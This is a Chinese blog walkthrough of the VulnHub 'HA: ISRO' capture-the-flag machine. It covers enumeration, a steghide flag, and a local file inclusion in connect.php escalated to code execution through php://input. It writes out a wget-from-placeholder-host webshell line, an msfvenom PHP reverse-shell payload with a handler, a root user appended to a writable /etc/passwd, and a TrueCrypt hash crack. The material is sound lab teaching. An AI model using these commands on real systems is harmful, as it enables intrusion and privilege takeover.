靶机地址
难度:中等
靶机发布日期:2019年10月4日
This is our tribute to the Indian Space Research Organisation (ISRO). We as Indians are proud of ISRO and its achievements. Solve this CTF challenge and feel the work of ISRO.
This machine contains4 different flags
to test your skills.
- Aryabhata
- Bhaskara
- Mangalyaan
- Chandrayaan 2
ENUMERATION IS THE KEY!!!!!
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
netdiscover
nmap
dirb
dirsearch
metaspaloit
msfvenom
binwalk
steghide
LFI漏洞
/etc/passwd可写
靶机IP:192.168.0.107
netdiscover -r 192.168.0.0/24
nmap -sS -sV -T4 -A -p- 192.168.0.107
dirb http://192.168.0.107 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.107 -e .php,.txt,.zip,.html
[04:54:33] 301 - 312B - /img -> http://192.168.0.107/img/
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
http://192.168.0.107/bhaskara.html
对L2JoYXNrYXJh进行base64解码得到/bhaskara
echo 'L2JoYXNrYXJh' | base64 -d
结果让人喜悦,开始以为这可能是个目录吧,然后就访问了一下,结果下载了一个文件
bhaskara对应的正是data数据文件。经过一番的google搜索,我们最后使用last
读取了bhaskara里面的内容。
其实这里走偏了,后面再讲。
last -x -f Desktop/bhaskara
有一个系统用户bhaskara?尝试了hydra爆破ssh和ftp,无果。
然后我到Twitter上问了一下做出来的大兄弟,结果这哥们儿没发现bhaskara文件。What??那我想他应该少了一个flag
想着顶部导航栏的各个菜单对应的url会不会都有这样的规律:Bhaskara–>http://192.168.0.107/bhaskara.html,因为它是可以访问的。
于是挨个试着访问了下面的地址:
Aryabhata–>http://192.168.0.107/aryabhata.html
Mangalyaan–>http://192.168.0.107/mangalyaan.html
Chandrayaan 2–>http://192.168.0.107/chandrayaan.html
结果并不是我想的那样。
connect.php,空白页面,查看源代码也是啥也没有
http://192.168.0.107/img/
我把img目录下的所有图片都下载下来了,挨个用binwalk去检测是否含有其他文件。其实按照常理推断,我们的目标肯定是aryabhata.jpg,至少文件名是比较敏感的。
最后使用steghide提取出flag.txt,这里输入密码的地方直接回车就可以了,不知道为什么最开始使用binwalk的时候没有检测出来。
最开始我有想到过connect.php可能有参数的,那个时候我想的是既然名字叫connect,再加上我从下载的那个文件里面得到了一个用户名bhaskara,所以我尝试了connect.php?user=bhaskara,结果并没有起作用。Twitter上老哥说,What can you do with the php file? Can it have parameters maybe? 于是我猜想这个参数会不会是file?结果还真给我猜对了。
随后我用wfuzz想测试一下有哪些文件可读取,因为有些请求虽然返回的是200,但是没有任何内容,所以我用–hl 0过滤掉了这部分。
字典用的是Github上2W+Star的SecLists
wfuzz -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl 0 http://192.168.0.107/connect.php\?file\=FUZZ
手工测试的时候还发现了
getshell的过程如下:
尝试了这篇文章里的方法local-file-inclusion-remote-code-execution-vulnerability,成功读取到phpinfo信息,步骤如下:
第一步,使用Burpsuite对connect.php
页面进行抓包;
第二步,修改GET请求为POST请求,并将file参数值设为php://input
;
第三步,增加POST请求内容;
第四步,发送请求,之后为了方便查看返回的内容,我使用了Burpsuite里面的Render以达到在浏览器上访问页面的效果。
既然这样我想就可以用下面这个方法上传shell了,但是过程并不顺利
system('wget http://x.x.x.x/php-shell.php -O /var/www/html/shell.php'); ?>
ifconfig命令查看kali的IP为192.168.0.110
msfvenom生成webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=1234 R > shell.php
记得把下图中红框部分的两个字符删除
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.110
set lport 1234
run
浏览器上访问http://192.168.0.107/shell.php,状态码200,但是msfconsole并没有接收到shell。随后我用同样的方法上传了phpinfo.php,然后浏览器访问时正常显示。
那么为什么shell没有反弹?检查了一遍本地的shell.php,没有什么问题,而且之前也都用了好多遍的。那么靶机上的shell.php是否是“正常”的。从下图中可以看到已经上传上去了。
以下payload均需base64编码
最后我直接把msfvenom生成的webshell代码进行base64编码,然后使用发送请求,成功getshell
查找SUID权限可执行文件
查看全局可写目录,并没有发现有价值的信息
查找全局可写文件,结果中奖了,发现/etc/passwd文件可写,这不就等于已经提权成功了么,哈哈哈
find / -writable -type f 2>/dev/null
openssl passwd -1 -saltvalue ins1ght
ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash
这里我没有用vim或nano去编辑/etc/passwd。nano我没在这个靶机里面用成,因为报错了;用vim的时候我习惯先用上下左右键移动光标到最后一行,但是这个pty里面用不了。我这里是用echo命令将内容附加到/etc/passwd文件中的。
echo 'ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash' >> /etc/passwd
su ins1ght
Twitter上问了一下作者下载得到bhaskara文件是个什么玩意儿,得到如下回复:
Github上找到别人写好的获取TrueCrypt文件hash值的脚本truecrypt2john.py
python truecrypt2john.py Desktop/bhaskara > hash
john -wordlist=/usr/share/wordlists/rockyou.txt hash
下载VeraCrypt用来打开bhaskara,VeraCrypt下载地址,我这里下载的是Debian-9的版本,下载后校验sha256,校验通过后进行安装。
sha256sum Desktop/veracrypt-1.24-Debian-9-amd64.deb
dpkg -i Desktop/veracrypt-1.24-Debian-9-amd64.deb
出现上图中错误是因为没有勾选TrueCrypt Mode,见下图。
关于下面这个flag的获取方法我是看了作者写的Walkthrough,地址在这里ha-isro-vulnhub-walkthrough。嗯~如果没有Tizi的话,文章里面的图片是看不了的……这个我也没招儿
之前nmap扫描端口和服务的时候并没有发现3306端口,但是其实靶机是开了3306端口的,并且只能在本地访问
show databases;
use flag;
show tables;
select flag from flag;
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.